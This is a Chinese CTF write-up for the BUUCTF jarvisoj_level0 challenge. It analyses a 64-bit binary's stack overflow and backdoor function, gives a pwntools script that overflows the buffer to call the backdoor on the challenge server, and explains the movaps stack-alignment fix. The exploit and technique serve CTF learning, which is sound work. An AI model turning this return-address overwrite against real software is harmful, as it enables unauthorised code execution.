BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
啥都想学点7 分钟前
kali 基础介绍(Privilege Escalation、Defense Evasion)
安全·网络安全
浩浩测试一下2 小时前
应急响应 > > > DDoS HTTP 应用层攻击研判溯源手法详解
安全·web安全·网络安全·系统安全·ddos·安全架构
BEGCCYD2 小时前
kali最新版不显示鼠标
linux·网络安全
Whoami!2 小时前
⓫⁄₆ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 自动化枚举
windows·网络安全·信息安全·自动化枚举·winpeas
中科固源3 小时前
中科数测卫星网络及系统安全检测智能体亮相北京国际航天展
网络安全·卫星·商业航天·卫星安全
Dreamboat¿12 小时前
SQL注入攻防深度解析:从预编译绕过到高级注入技术
网络安全
爱学习的小牛17 小时前
三年网络安全经验,备考OSCP!
安全·web安全·网络安全·渗透测试·offsec·oscp
内心如初21 小时前
16_等保系列之等级保护、风险评估和安全测评三者的区别
网络安全·等保测评·等保测评从0-1·等保测评笔记
醒醒酒1 天前
sqli-labs Less1-4 新手修仙版
数据库·计算机网络·安全·web安全·网络安全·oracle